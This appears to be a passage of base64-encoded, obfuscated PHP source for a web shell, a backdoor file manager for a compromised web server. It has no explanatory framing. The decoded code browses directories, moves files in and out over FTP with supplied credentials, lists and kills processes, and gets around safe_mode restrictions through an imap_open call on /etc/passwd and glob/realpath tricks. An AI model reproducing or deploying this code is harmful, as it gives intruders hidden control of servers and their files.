1NyIpLigkcGZmc29ydFswXT09JzAnPycgJy4oJHBmZnNvcnRbMV09PSJhIj8nJnVhcnI7JzonJmRhcnI7Jyk6JycpLCczJykpLCc4JywnMicpLiB6NnooejV4KGFycmF5KCdhY3QnLCdkJywnZmxzb3J0JywnZmZzb3J0Jz0+KCRwZmZzb3J0WzBdPT0nMSc/JzEnLigkcGZmc29ydFsxXT09ImEiPyJkIjoiYSIpOicxJy4kcGZmc29ydFsxXSkpLHo4Yih6OXkoIjU4IikuKCRwZmZzb3J0WzBdPT0nMSc/JyAnLigkcGZmc29ydFsxXT09ImEiPycmdWFycjsnOicmZGFycjsnKTonJyksJzMnKSksJzgnLCcnKS4gejdrKHo5eSgiNjIiKSwnOCcsJzMnKSk7IGZvcigkaT0wOyRpPCRjZjskaSsrKXsgJGRpc3A9ejJsKCRsaXN0X2ZbJGldWzBdKTsgaWYoKCFAaXNfbnVtZXJpYygkbGlzdF9mWyRpXVsxXSkmJiRsaXN0X2ZbJGldWzFdPT0iRElSIil8fCRkaXNwPT0nLi4nKXsgJG89ejV4KGFycmF5KCdhY3QnPT4nZnRwJywnZmxzb3J0JywnZmZzb3J0JywnZCcsJ3JkJz0+JGxpc3RfZlskaV1bMF0pLHo4aCgnc21hbGxfZGlyJywnJywnOScpLno4Yih6OG8oJGRpc3AsNDApLCcxMCcsejNnKCRkaXNwLCdkJykpKTsgfSBlbHNlIHsgJGV4dD16MmwoJGxpc3RfZlskaV1bMF0sJy4nKTsgJG89ejV4KGFycmF5KCdhY3QnPT4nZnRwJywnZmxzb3J0JywnZmZzb3J0JywnZCcsJ2Z0Jz0+J2Rvd25sb2FkJywncnQnPT4kbGlzdF9mWyRpXVswXSksejhoKCRleHQsJycsJzknKS56OGIoejhvKCRkaXNwLDQwKSwnMTEnLHozZygkZGlzcCwnZicpKSk7IH0gZWNobyB6N3UoejdrKCRvLCcxOScsJzInKS56NnooKEBpc19udW1lcmljKCRsaXN0X2ZbJGldWzFdKT96N3goJGxpc3RfZlskaV1bMV0pOiRsaXN0X2ZbJGldWzFdKSwnMTAnKS56N2soKCRkaXNwPT0nLi4nP3owcSgkbGlzdF9mWyRpXVswXSk6ejByKCRsaXN0X2ZbJGldWzBdKS56NG4oJGxpc3RfZlskaV1bMF0sJ2lkZnRwJywoJGklMj8ndHJhJzondHJiJykuJGpzaWQpKSwnMTAnKSwoJGklMj8gJzAnOiAnMScpLCgkaSUyPyd0cmEnOid0cmInKS4kanNpZCk7ICRqc2lkKys7IH0gZWNobyB6MTBxKCkuejVoKCkuIHo3ZigpLno3eSgpLnoxMHEoKTsgZWNobyB6OW0oJzInKS56N28oKS56N2ooJycsJzQnKS4gejBzKCdpZGxvYycsJ2x0YWxsJyx6OXYoJ2FjdCcpLno5dignZmxzb3J0Jykuejl2KCdmZnNvcnQnKS56OXYoJ2QnKS56OXYoJ2Z0cG1sb2MnLCcxJyksYXJyYXkoJyc9Pno5eSgiNjYiKSwndXBsb2FkJz0+ejl5KCIxOTciKSwnZGVsZXRlJz0+ejl5KCIxOTkiKSkpLiB6N2YoKS56N2ooJycsJzQnKS4gejBzKCdpZGZ0cCcsJ3J0YWxsJyx6OXYoJ2FjdCcpLno5dignZmxzb3J0Jykuejl2KCdmZnNvcnQnKS56OXYoJ2QnKS56OXYoJ2Z0cG1yZW0nLCcxJyksYXJyYXkoJyc9Pno5eSgiNjYiKSwnZG93bmxvYWQnPT56OXkoIjE5OCIpLCdkZWxldGUnPT56OXkoIjE5OSIpKSkuIHo3ZigpLno3eSgpLnoxMHEoKTsgfSBlbHNlIHsgZWNobyB6M3Eoejl5KCIxODUiKS56OXgoKS4oJGhtc2chPScnPycgOiAnLiRobXNnOicnKSk7IGVjaG8gejZzKCkuejEwdyh6N3UoejV4KGFycmF5KCJhY3QiPT4iZnRwIiwiZCIpLCB6NmwoejduKHo5eSgiMTg2IikpLno2dSgiZnRwX3NlcnZlciIsJGZ0cF9zZXJ2ZXIsJzUnKS56NnUoImZ0cF9wb3J0IiwkZnRwX3BvcnQsJzYnKSkuejZsKHo3bih6OXkoIjE4NyIpKS56NnUoImZ0cF91c2VybmFtZSIsJGZ0cF91c2VybmFtZSwnNScpKS56NmwoejduKHo5eSgiMTg4IikpLno2dSgiZnRwX3Bhc3N3b3JkIiwkZnRwX3Bhc3N3b3JkLCc1JykuejhiKHo5eSgiMTg5IiksJzcnKS4nICcuejV1KCJmdHBfcGFzc2l2ZTEiLHo5eSgiMTkwIiksICJmdHBfcGFzc2l2ZSIpKSkpLCcyJykuejZzKCk7ICRkbXNnPSR1bXNnPScnOyBpZighQGVtcHR5KCRmdHBfc2VydmVyKSYmIUBlbXB0eSgkZnRwX3BvcnQpJiYhQGVtcHR5KCRmdHBfdXNlcm5hbWUpJiYhQGVtcHR5KCRmdHBfcGFzc3dvcmQpJiZAaXNzZXQoJGZ0cF9xdWlja2FjdGlvbikpeyAkZnRwPW5ldyBmdHAoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LCRmdHBfdXNlcm5hbWUsJGZ0cF9wYXNzd29yZCwkZnRwX3Bhc3NpdmUpOyBpZigkZnRwLT5sb2dnZWRPbil7IGlmKCRmdHBfcXVpY2thY3Rpb249PSJ1cGxvYWQiKXsgJHVtc2c9KCRmdHAtPnB1dCgkZnRwX3JlbW90ZWZpbGUsICRmdHBfbG9jYWxmaWxlKSA/IHo5eSgiMjA4IikgOiB6OXkoIjIwOSIpKTsgfSBlbHNlaWYoJGZ0cF9xdWlja2FjdGlvbj09ImRvd25sb2FkIil7ICRkbXNnPSgkZnRwLT5nZXQoJGZ0cF9yZW1vdGVmaWxlLCRmdHBfbG9jYWxmaWxlLDEpID8gejl5KCIyMTAiKSA6IHo5eSgiMjExIikpOyB9IH0gZWxzZSB7IGlmKCRmdHBfcXVpY2thY3Rpb249PSJ1cGxvYWQiKXsgJHVtc2c9ejl5KCIxOTEiKTsgfSBlbHNlIHsgJGRtc2c9ejl5KCIxOTEiKTsgfSB9IH0gZWNobyB6M3EoYXJyYXkoejl5KCIyMDAiKS56OXgoKS4oJGRtc2chPScnPyIgOiAiLiRkbXNnOicnKSx6OXkoIjIwMSIpLno5eCgpLigkdW1zZyE9Jyc/IiA6ICIuJHVtc2c6JycpKSwnNDYnKTsgZWNobyB6MTB3KHo5ZCh6OWMoIHo1eChhcnJheSgnYWN0Jz0+J2Z0cCcsJ2Z0cF9xdWlja2FjdGlvbic9Pidkb3dubG9hZCcsJ2QnKSwgejEwdyh6NWIoKS4gejd1KHo1dCh6OXkoIjIwMiIpKS56OWMoejZ1KCdmdHBfc2VydmVyJywkZnRwX3NlcnZlciwnMicpLno2dSgnZnRwX3BvcnQnLCRmdHBfcG9ydCwnNicpKSkuIHo3dSh6NXQoejl5KCIyMDMiKSkuejljKHo2dSgnZnRwX3VzZXJuYW1lJywkZnRwX3VzZXJuYW1lLCc0JykuejZ1KCdmdHBfcGFzc3dvcmQnLCRmdHBfcGFzc3dvcmQsJzUnKSkpLiB6N3UoejV0KHo5eSgiMjA0IikpLno5Yyh6NnUoJ2Z0cF9yZW1vdGVmaWxlJywkZnRwX3JlbW90ZWZpbGUsJzAnKSkpLiB6N3UoejV0KHo5eSgiMjA1IikpLno5Yyh6NnUoJ2Z0cF9sb2NhbGZpbGUnLCRmdHBfbG9jYWxmaWxlLCcwJykpKS4gejd1KHo1dCgnJykuejljKHo4Yih6OXkoIjIwNyIpLCc3JykuejV1KCJmdHBfcGFzc2l2ZTIiLHo5eSgiMTkwIiksICJmdHBfcGFzc2l2ZSIpKSkuejViKCkgKSApLCcnLCc0JykuIHo5Yyh6NXgoYXJyYXkoJ2FjdCc9PidmdHAnLCdmdHBfcXVpY2thY3Rpb24nPT4ndXBsb2FkJywnZCcpLCB6MTB3KHo1YigpLiB6N3UoejV0KHo5eSgiMjAyIikpLno5Yyh6NnUoJ2Z0cF9zZXJ2ZXInLCRmdHBfc2VydmVyLCcyJykuejZ1KCdmdHBfcG9ydCcsJGZ0cF9wb3J0LCc2JykpKS4gejd1KHo1dCh6OXkoIjIwMyIpKS56OWMoejZ1KCdmdHBfdXNlcm5hbWUnLCRmdHBfdXNlcm5hbWUsJzQnKS56NnUoJ2Z0cF9wYXNzd29yZCcsJGZ0cF9wYXNzd29yZCwnNScpKSkuIHo3dSh6NXQoejl5KCIyMDUiKSkuejljKHo2dSgnZnRwX2xvY2FsZmlsZScsJGZ0cF9sb2NhbGZpbGUsJzAnKSkpLiB6N3UoejV0KHo5eSgiMjA0IikpLno5Yyh6NnUoJ2Z0cF9yZW1vdGVmaWxlJywkZnRwX3JlbW90ZWZpbGUsJzAnKSkpLiB6N3UoejV0KCcnKS56OWMoejhiKHo5eSgiMjA2IiksJzcnKS56NXUoImZ0cF9wYXNzaXZlMyIsejl5KCIxOTAiKSwgImZ0cF9wYXNzaXZlIikpKS56NWIoKSApICksJycsJzQ2JykpLCcyJyk7IH0gfSBpZigkYWN0PT0nbHMnKXsgaWYoIUBpc3NldCgkc29ydCkpeyBpZihAaXNzZXQoJF9TRVNTSU9OWydzb3J0J10pKXsgJHNvcnQ9JF9TRVNTSU9OWydzb3J0J107IH0gZWxzZSB7ICRzb3J0PXo3eignMycsJ2RlZmF1bHRfc29ydCcpOyB9IH0gJF9TRVNTSU9OWydzb3J0J10gPSAkc29ydDsgaWYoIUBpc3NldCgkZnRhcmdldCkpICRmdGFyZ2V0PScnOyBpZighQGlzc2V0KCRmdWxscGF0aCkpICRmdWxscGF0aD0wOyBpZighQGlzc2V0KCR3aXRoX2xzKSkgJHdpdGhfbHM9MDsgaWYoQGlzc2V0KCRsc19hKSAmJiBAY291bnQoJGxzX2EpPjApeyAkbGlzdD0kbHNfYTsgfSBlbHNlIHsgJGxpc3Q9ejh4KCRkKTsgJHNob3didWY9MDsgfSAkdWdzdGF0PTA7ICRqc2lkPTA7IGlmKHo3ZSgncG9zaXhfZ2V0cHd1aWQnKSYmejdlKCdwb3NpeF9nZXRncmdpZCcpJiZ6N2UoJ2ZpbGVvd25lcicpJiZ6N2UoJ2ZpbGVncm91cCcpKSAkdWdzdGF0PTE7IGlmKCFAaXNzZXQoJG5vbHNtZW51KXx8ISRub2xzbWVudSl7IHoybigpOyBpZih6MXkoJGQpKSB6NGkoKTsgfSB6NW8oKTsgaWYoQGNvdW50KCRsaXN0KT4wKXsgJG9iaj1hcnJheSgpOyAkaW5mPWFycmF5KCk7ICRvYmpbImgiXT1hcnJheSgpOyAkb2JqWyJkIl09YXJyYXkoKTsgJG9ialsibCJdPWFycmF5KCk7ICRvYmpbImYiXT1hcnJheSgpOyBmb3JlYWNoKCRsaXN0IGFzICR2KXsgJG89ejJsKCR2KTsgJHQ9J2YnOyAkdDI9J2QnOyBpZigoJG89PSIuIikgfHwgKCRvPT0iLi4iKSl7ICR0PSdkJzsgfSBlbHNlaWYoQHo0aigkdikpeyAkdD0nZCc7IGlmKHo0cSgkdikpeyAkdDI9J2wnOyB9IH0gZWxzZWlmKEB6NHEoJHYpKXsgJHQ9J2wnOyB9IGlmKCR0PT0nZicpIHsgaWYoejVpKCR2KSkgJHQ9J2UnOyB9IGVsc2VpZigkdD09J2wnKXsgaWYoejVpKCR2KSkgJHQyPSdlJzsgfSBpZihAaXNzZXQoJGZpbHRlcikgJiYgIXoxcSgkdiwgJGZpbHRlciwkdCkpIGNvbnRpbnVlOyBpZigkd2l0aF9scyl7ICRpbmZbJHZdPXo0cygkdiwkdCk7IH0gZWxzZSB7ICRmaWxlcGVybXM9QGZpbGVwZXJtcygkdik7IGlmKCEkZmlsZXBlcm1zJiYkbml4JiYkc2hfZXhlYyl7ICRpbmZbJHZdPXo0cygkdiwkdCk7IH0gfSAkcm93PWFycmF5KCk7IGlmKCRvPT0iLiIpeyAkcm93W109JGQuJG87ICRyb3dbXT0iTElOSyI7IH1lbHNlaWYoJG89PSIuLiIpeyAkcm93W109JGQuJG87ICRyb3dbXT0iTElOSyI7IH1lbHNlaWYoJHQ9PSdkJyl7ICRyb3dbXT0kdjsgJHJvd1tdPSgoJHQyPT0nbCcpPyAiTElOSyI6IkRJUiIpOyB9ZWxzZWlmKCR0PT0nZid8fCR0PT0nZSd8fCR0PT0nbCcpeyAkcm93W109JHY7ICRyb3dbXT0oQGlzc2V0KCRpbmZbJHZdKT8kaW5mWyR2XVsxXSA6IEBmaWxlc2l6ZSgkdikpOyB9ICRyb3dbXT0oQGlzc2V0KCRpbmZbJHZdKT8kaW5mWyR2XVsyXSA6QGZpbGVtdGltZSgkdikpOyBpZigkbml4KXsgaWYoQGlzc2V0KCRpbmZbJHZdKSl7ICRyb3dbXT0kaW5mWyR2XVszXTsgfSBlbHNlIHsgaWYoJHVnc3RhdCl7ICRvdz1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkdikpOyAkZ3I9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJHYpKTsgJHJvd1tdPWFycmF5KCgkb3dbIm5hbWUiXT8kb3dbIm5hbWUiXTpAZmlsZW93bmVyKCR2KSksKCRnclsibmFtZSJdPyRnclsibmFtZSJdOkBmaWxlZ3JvdXAoJHYpKSk7IH1lbHNleyAkcm93W109YXJyYXkoJ3VuaycsJ3VuaycpOyB9IH0gfSAkcm93W109KEBpc3NldCgkaW5mWyR2XSk/JGluZlskdl1bNF06JGZpbGVwZXJtcyk7ICRyb3dbXT0kdDsgJHJvd1tdPSR0MjsgaWYoKCRvPT0iLiIpIHx8ICgkbz09Ii4uIikpeyBpZigkbz09Jy4uJykgJG9ialsiaCJdW109JHJvdzsgfWVsc2VpZigkdD09J2wnKXsgJG9ialsibCJdW109JHJvdzsgfWVsc2VpZigkdD09J2QnKXsgJG9ialsiZCJdW109JHJvdzsgfWVsc2VpZigkdD09J2YnfHwkdD09J2UnKXsgJG9ialsiZiJdW109JHJvdzsgfSB9ICRyb3c9YXJyYXkoKTsgJHJvd1tdPXo5eSgiNTciKTsgJHJvd1tdPXo5eSgiNTgiKTsgJHJvd1tdPXo5eSgiNTkiKTsgaWYoISR3aW4peyAkcm93W109ejl5KCI2MCIpOyB9ICRyb3dbXT16OXkoIjYxIik7ICRyb3dbXT16OXkoIjYyIik7ICRwc29ydD16NXIoJHNvcnQpOyBpZigkcHNvcnRbMV0hPSdhJyl7ICRwc29ydFsxXT0nZCc7IH0gZWxzZSB7ICRwc29ydFsxXT0nYSc7IH0gaWYoIUBpc3NldCgkbm9oZWFkKXx8ISRub2hlYWQpeyBmb3IoJGk9MDskaTxAY291bnQoJHJvdyktMTskaSsrKXsgJHJvd1skaV09ejV4KGFycmF5KCdhY3QnLCdkJywnZmlsdGVyJywnc29ydCc9PigkaT09JHBzb3J0WzBdPyRpLigkcHNvcnRbMV09PSJhIj8iZCI6ImEiKTokaS4kcHNvcnRbMV0pKSx6OGIoJHJvd1skaV0uKCRpPT0kcHNvcnRbMF0/JyAnLigkcHNvcnRbMV09PSJhIj8nJnVhcnI7JzonJmRhcnI7Jyk6JycpLCczJywoJGk9PSIxIj8nIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodDsiJzonJykpKTsgfSB9ICR2PSRwc29ydFswXTsgQHVzb3J0KCRvYmpbImQiXSwiejJiIik7IEB1c29ydCgkb2JqWyJsIl0sInoyYiIpOyBAdXNvcnQoJG9ialsiZiJdLCJ6MmIiKTsgaWYoJHBzb3J0WzFdPT0iZCIpeyAkb2JqWyJkIl09QGFycmF5X3JldmVyc2UoJG9ialsiZCJdKTsgJG9ialsibCJdPUBhcnJheV9yZXZlcnNlKCRvYmpbImwiXSk7ICRvYmpbImYiXT1AYXJyYXlfcmV2ZXJzZSgkb2JqWyJmIl0pOyB9ICRvYmo9QGFycmF5X21lcmdlKCRvYmpbImgiXSwkb2JqWyJkIl0sJG9ialsibCJdLCRvYmpbImYiXSk7ICR0YWI9YXJyYXkoKTsgJHRhYlsiYyJdPWFycmF5KCRyb3cpOyAkdGFiWyJoIl09YXJyYXkoKTsgJHRhYlsiZCJdPWFycmF5KCk7ICR0YWJbImwiXT1hcnJheSgpOyAkdGFiWyJmIl09YXJyYXkoKTsgJGk9MDsgZm9yZWFjaCgkb2JqIGFzICRhKXsgaWYoQGlzX2FycmF5KCRhKSYmQGNvdW50KCRhKT49Nil7ICR2PSRhWzBdOyAkdD0kYVsoQGNvdW50KCRhKS0yKV07ICR0Mj0kYVsoQGNvdW50KCRhKS0xKV07ICRvPXoybCgkdik7ICRkaXI9ejNhKCR2KTsgaWYoJGZ1bGxwYXRoKXsgaWYoQHN1YnN0cigkdiwgMCwgQHN0cmxlbigkZCkpID09ICRkKXsgJGRpc3A9QHN1YnN0cigkdixAc3RybGVuKCRkKSk7IH0gZWxzZSB7ICRkaXNwPSR2OyB9IH1lbHNleyAkZGlzcD0kbzsgfSAkZGlzcD16OG8oJGRpc3AsNjApOyAkcm93PWFycmF5KCk7IGlmKCRvPT0iLiIpeyAkcm93W109ejV4KGFycmF5KCdhY3QnPT4nbHMnLCdkJz0+JHYpLHo4aCgnc21hbGxfZGlyJywnJywnOScpLno4YigkZGlzcCwnMTAnKSwkZnRhcmdldCk7ICRyb3dbXT0iTElOSyI7IH1lbHNlaWYoJG89PSIuLiIpeyAkcm93W109ejV4KGFycmF5KCdhY3QnPT4nbHMnLCdkJz0+JHYpLHo4aCgnc21hbGxfZGlyJywnJywnOScpLno4YigkZGlzcCwnMTAnKSwkZnRhcmdldCk7ICRyb3dbXT0iTElOSyI7IH1lbHNlaWYoJHQ9PSdkJyl7IGlmKCR0Mj09J2wnKXsgaWYoQHJlYWRsaW5rKCR2KSkgJGRpc3AuPSIgPT4gIi5AcmVhZGxpbmsoJHYpOyAkdHlwZT0iTElOSyI7ICRyb3dbXT16NXgoYXJyYXkoJ2FjdCc9PidscycsJ2QnPT4kdiksejhoKCdzbWFsbF9kaXInLCcnLCc5JykuejhiKCRkaXNwLCcxMCcsejNnKCRvLCdkJykpLCRmdGFyZ2V0KTsgfWVsc2V7ICR0eXBlPSJESVIiOyAkcm93W109ejV4KGFycmF5KCdhY3QnPT4nbHMnLCdkJz0+JHYpLHo4aCgnc21hbGxfZGlyJywnJywnOScpLno4YigkZGlzcCwnMTAnLHozZygkbywnZCcpKSwkZnRhcmdldCk7IH0gJHJvd1tdPSR0eXBlOyB9ZWxzZWlmKCR0PT0nZid8fCR0PT0nZSd8fCR0PT0nbCcpeyAkZXh0PUBzdHJ0b2xvd2VyKHoybCgkdiwnLicpKTsgJHJvd1tdPXo1eChhcnJheSgnYWN0Jz0+J2YnLCdkJz0+JGRpciwnZic9PiRvKSx6OGgoJGV4dCwnJywnOScsKCgkdD09J2UnfHwkdDI9PSdlJyk/JzEnOicnKSkuejhiKCRkaXNwLCcxMScsejNnKCRvLCdmJykpLCRmdGFyZ2V0KTsgJHJvd1tdPShAaXNzZXQoJGluZlskdl0pPyRhWzFdOno3eCgkYVsxXSkpOyB9ICRyb3dbXT0oQGlzc2V0KCRpbmZbJHZdKT8gJGFbMl0gOiBAZGF0ZSgiWS5tLmQgSDppIiwkYVsyXSkpOyBpZigkbml4KXsgJHJvd1tdPSRhWzNdWzBdLiIvIi4kYVszXVsxXTsgfSAkcm93W109ejZ0KChAaXNzZXQoJGluZlskdl0pPyRhWzRdOiB6OXcoQGZpbGVwZXJtcygkdikpKSx6NmcoJHYpKTsgaWYoJHQ9PSdkJyYmJG8hPScuLicpeyAkcm93W109ejFyKCR2LCgkZnRhcmdldD8nMSc6JycpKS56NG4oJHYsJ2xzJywncmVwbGFjZWpzaWQnLiRqc2lkKTsgJGpzaWQrKzsgfWVsc2V7IGlmKCRvIT0nLicmJiRvIT0nLi4nKXsgJHJvd1tdPXowbygkdiwkZnRhcmdldCkuejRuKCR2LCdscycsJ3JlcGxhY2Vqc2lkJy4kanNpZCk7ICRqc2lkKys7IH1lbHNleyAkcm93W109ejB6KCR2LCRmdGFyZ2V0KTsgfSB9IGlmKCgkbz09Jy4nKSB8fCAoJG89PScuLicpKXsgaWYoJG89PScuLicpICR0YWJbImgiXVtdPSRyb3c7IH1lbHNlaWYoJHQ9PSdsJyl7ICR0YWJbImwiXVtdPSRyb3c7IH1lbHNlaWYoJHQ9PSdkJyl7ICR0YWJbImQiXVtdPSRyb3c7IH1lbHNlaWYoJHQ9PSdmJ3x8JHQ9PSdlJyl7ICR0YWJbImYiXVtdPSRyb3c7IH0gJGkrKzsgfSB9ICR0YWJsZT1AYXJyYXlfbWVyZ2UoJHRhYlsiYyJdLCR0YWJbImgiXSwkdGFiWyJkIl0sJHRhYlsibCJdLCR0YWJbImYiXSk7ICR0cmlkPTA7IGlmKEBjb3VudCgkdGFibGUpPjApeyBlY2hvIHo5bSgnMicpLno3bygpLno3aignJywnNCcpLno1eignJywiMiIpOyBlY2hvIHo5bSgnMicpOyAkY250PTA7IGZvcmVhY2goJHRhYmxlIGFzICRyb3cpeyAkcj0gJyc7ICRjbnQyPTA7IGZvcmVhY2goJHJvdyBhcyAkdil7IGlmKCRjbnQ9PTApeyAkci49ICgoJGNudDI9PTApID8gejljKCR2LCc3JywiMiIpIDogKCgkY250Mj09MSkgPyB6NnooJHYsJzgnKTooJGNudDI9PShAY291bnQoJHJvdyktMSk/ejljKCR2LCc4JywnMycpOno5YygkdiwnOCcpKSkpOyB9IGVsc2UgeyAkci49KCgkY250Mj09MCkgPyB6OWMoJHYsJzknKSA6ICgoJGNudDI9PTEpID8gejZ6KCR2LCcxMCcpOno5YygkdiwnMTAnKSkpOyB9ICRjbnQyKys7IH0gJHRyaWRzPScnOyBpZihAc3RycG9zKCRyLCdpZD0icmVwbGFjZWpzaWQnKSE9PWZhbHNlKXsgJHRyaWRzPSJ0ciIuKCRjbnQlMj8nYSc6J2InKTsgJHI9QHN0cl9yZXBsYWNlKCdpZD0icmVwbGFjZWpzaWQnLCdpZD0iJy4kdHJpZHMsICRyKTsgJHRyaWRzLj0kdHJpZDsgJHRyaWQrKzsgfSBlY2hvIHo3dSgkciwoJGNudCUyPyAnMCc6ICcxJyksICR0cmlkcyk7ICRjbnQrKzsgfSBlY2hvIHoxMHEoKTsgZWNobyB6NWgoKS56N2YoKS56N3koKS56MTBxKCk7ICRhcnJfc2VsZWN0PWFycmF5KCcnPT56OXkoIjY2IikpOyBpZihAaXNzZXQoJHVzZV9idWZmZXIpJiYkdXNlX2J1ZmZlciYmKCFAaXNzZXQoJG5vbHNtZW51KXx8ISRub2xzbWVudSkpeyAkYXJyX3NlbGVjdFsiYmNvcHkiXT16OXkoIjY3Iik7ICRhcnJfc2VsZWN0WyJiY3V0Il09ejl5KCI2OCIpOyAkdWNvcHk9JHVjdXQ9MDsgaWYoQGlzc2V0KCRiY29weSkmJkBpc19hcnJheSgkYmNvcHkpJiZAY291bnQoJGJjb3B5KT4wKXsgJGFycl9zZWxlY3RbImJ1bnNldGNvcHkiXT16OXkoIjY5Iik7ICR1Y29weT0xOyB9IGlmKEBpc3NldCgkYmN1dCkmJkBpc19hcnJheSgkYmN1dCkmJkBjb3VudCgkYmN1dCk+MCl7ICRhcnJfc2VsZWN0WyJidW5zZXRjdXQiXT16OXkoIjcwIik7ICR1Y3V0PTE7IH0gaWYoJHVjb3B5JiYkdWN1dCkgJGFycl9zZWxlY3RbImJ1bnNldGFsbCJdPXo5eSgiNzEiKTsgfSAkYXJyX3NlbGVjdFsiZGVsZXRlIl09ejl5KCI3MiIpOyBlY2hvIHowcygnbHMnLCdsc2FsbCcsejl2KCdhY3QnKS56OXYoJ2QnKSwkYXJyX3NlbGVjdCk7IH0gfSBlbHNlIHsgaWYoejdlKCdpbWFwX29wZW4nKSYmejdlKCdpbWFwX2xpc3QnKSYmQHZlcnNpb25fY29tcGFyZShAcGhwdmVyc2lvbigpLCI1LjIuMCIpPD0wKSAkc2xzX2FyclsiaW1hcCJdPSJpbWFwX2xpc3QgKHNhZmVfbW9kZSAvIFBIUCA8PSA1LjEuMikiOyBpZih6N2UoJ2dsb2InKSkgJHNsc19hcnJbImdsb2IiXT0iZ2xvYiAoUEhQIDw9IDUuMi54ICsgc29tZSBvdGhlcnMpIjsgaWYoejdlKCdyZWFscGF0aCcpKSAkc2xzX2FyclsicmVhbHBhdGgiXT0icmVhbHBhdGggKFBIUCA8PSA1LjIuNCArIHNvbWUgb3RoZXJzKSI7IGlmKEBpc3NldCgkc2xzX2FyclsiZ2xvYiJdKSYmIUBpc3NldCgkc3VibWl0MSkmJiFAaXNzZXQoJGxpc3RkaXJfZnVuYykpeyAkc3VibWl0MT0xOyAkbGlzdGRpcl9mdW5jPSJnbG9iIjsgfSBlbHNlaWYoQGlzc2V0KCRzbHNfYXJyWyJyZWFscGF0aCJdKSYmIUBpc3NldCgkc3VibWl0MSkmJiFAaXNzZXQoJGxpc3RkaXJfZnVuYykpeyAkc3VibWl0MT0xOyAkbGlzdGRpcl9mdW5jPSJyZWFscGF0aCI7IH0gaWYoQGNvdW50KCRzbHNfYXJyKT4wKXsgZWNobyB6M3Eoejl5KCIxMjUiKSk7IGVjaG8gejZzKCk7IGVjaG8gejltKCIyIikuejZmKCkuejZxKCk7IGVjaG8gejV3KCcnLCIxIik7IGlmKEBpc3NldCgkc3VibWl0MSkmJiRzdWJtaXQxKXsgc3dpdGNoKCRsaXN0ZGlyX2Z1bmMpeyBjYXNlICdpbWFwJzogJHN0cmVhbT1AaW1hcF9vcGVuKCcvZXRjL3Bhc3N3ZCcsIiIsIiIpOyAkZGlyX2xpc3Q9QGltYXBfbGlzdCgkc3RyZWFtLEB0cmltKCRkKSwiKiIpOyBmb3IoJGk9MDskaTxAY291bnQoJGRpcl9saXN0KTskaSsrKSBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRkaXJfbGlzdFskaV0pLiJcclxuIjsgQGltYXBfY2xvc2UoJHN0cmVhbSk7IGJyZWFrOyBjYXNlICdnbG9iJzogejN3KCRkKTsgYnJlYWs7IGNhc2UgJ3JlYWxwYXRoJzogejN5KCRkKTsgYnJlYWs7IH0gfSBlY2hvIHo1cSgpOyBlY2hvIHo3ZigpLno3eSgpLnoxMHEoKTsgZWNobyB6MTB3KHo3dSh6NmwoejV6KCJsZWZ0IiwiMyIpLno1eChhcnJheSgiYWN0Iiwic3VibWl0MSI9PiIxIiksIHoxMHcoejd1KHo5Yyh6N24oejl5KCIxMjYiKSkuejV5KCJkIiwkZCwiMCIsIiIsIjkiKS56M20oImxpc3RkaXJfZnVuYyIsJHNsc19hcnIsIjUiLDEpLno4Yih6OXkoIjEyNyIpLCI3IikpKSwiMiIpKS56NWgoKSkpLCIyIik7IGVjaG8gejZzKCk7IH0gZWxzZSB7IGVjaG8gejNxKHo5eSgiNDY0IiwkZCkpOyB9IH0gfSBpZigkYWN0PT0ncHJvY2Vzc2VzJyl7IGlmKCFAaXNzZXQoJHNvcnRwKSkgJHNvcnRwPSgkbml4PycxYSc6JzBhJyk7ICRoZWFkZXI9Jyc7IGlmKCRuaXgpeyAkaD0ncHMgLWF1eCcuKChAaXNzZXQoJGdyZXApJiYkZ3JlcCk/J3xncmVwICInLiRncmVwLicifGdyZXAgLXYgZ3JlcCc6JycpOyBpZihAaXNzZXQoJHBpZCkmJiRwaWQpeyBpZighQGlzc2V0KCRzaWcpfHxAaXNfbnVsbCgkc2lnKSl7ICRzaWc9OTsgfSAkaGVhZGVyPSIgOiAiLno5eSgiMzQ5IixhcnJheSgkc2lnLCRwaWQpKS4oQHBvc2l4X2tpbGwoJHBpZCwkc2lnKT96OXkoIjM1MCIpOno5eSgiMzUxIikpOyB9IH1lbHNleyAkaD0ndGFza2xpc3QnOyB9ICRyPXo5ZSgkaCk7IGVjaG8gejNxKHo5eSgiMzQ4IikuJGhlYWRlciwnMScpOyBpZigkcil7ICRyPXoydignICAnLCcgJywkcik7ICRwcHNvcnQ9ejVyKCRzb3J0cCk7IGlmKCRwcHNvcnRbMV0hPSdhJyl7ICRwcHNvcnRbMV09J2QnOyB9IGVsc2UgeyAkcHBzb3J0WzFdPSdhJzsgfSBpZigkbml4KXsgJHN0YWNrPUBleHBsb2RlKCJcbiIsJHIpOyAkaGVhZD1AZXhwbG9kZSgnICcsJHN0YWNrWzBdKTsgaWYoIUBpc3NldCgkZ3JlcCl8fCEkZ3JlcCl7IHVuc2V0KCRzdGFja1swXSk7IH0gZm9yKCRpPTA7JGk8QGNvdW50KCRoZWFkKTskaSsrKXsgaWYoJGkhPSRwcHNvcnRbMF0peyAkaGVhZFskaV09ejV4KGFycmF5KCdhY3QnLCdkJywncGZpbHRlcicsJ3NvcnRwJz0+JGkuJHBwc29ydFsxXSksejhiKCRoZWFkWyRpXSwnMycpKTsgfSBlbHNlIHsgJGhlYWRbJGldPXo1eChhcnJheSgnYWN0JywnZCcsJ3BmaWx0ZXInLCdzb3J0cCc9PiRwcHNvcnRbMF0uKCRwcHNvcnRbMV09PSdhJz8nZCc6J2EnKSksejhiKCRoZWFkWyRwcHNvcnRbMF1dLicgJy4oJHBwc29ydFsxXT09J2EnPycmdWFycjsnOicmZGFycjsnKSwnMycpKTsgfSB9ICRoZWFkW109ejl5KCI2MiIpOyAkcHJjcz1hcnJheSgpOyBpZighQGlzc2V0KCRwZmlsdGVyKXx8QGVtcHR5KCRwZmlsdGVyKXx8JHBmaWx0ZXI9PSctLS0nKXsgJGJvb2w9MDsgJHBmaWx0ZXI9Jyc7IH0gZWxzZSB7ICRib29sPTE7IH0gZm9yZWFjaCgkc3RhY2sgYXMgJGxpbmUpeyBpZighQGVtcHR5KCRsaW5lKSl7ICRsaW5lPUBleHBsb2RlKCIgIiwkbGluZSk7IGlmKCgkYm9vbCYmJHBmaWx0ZXI9PSRsaW5lWzBdKXx8ISRib29sKXsgJGxpbmVbMF09ejV4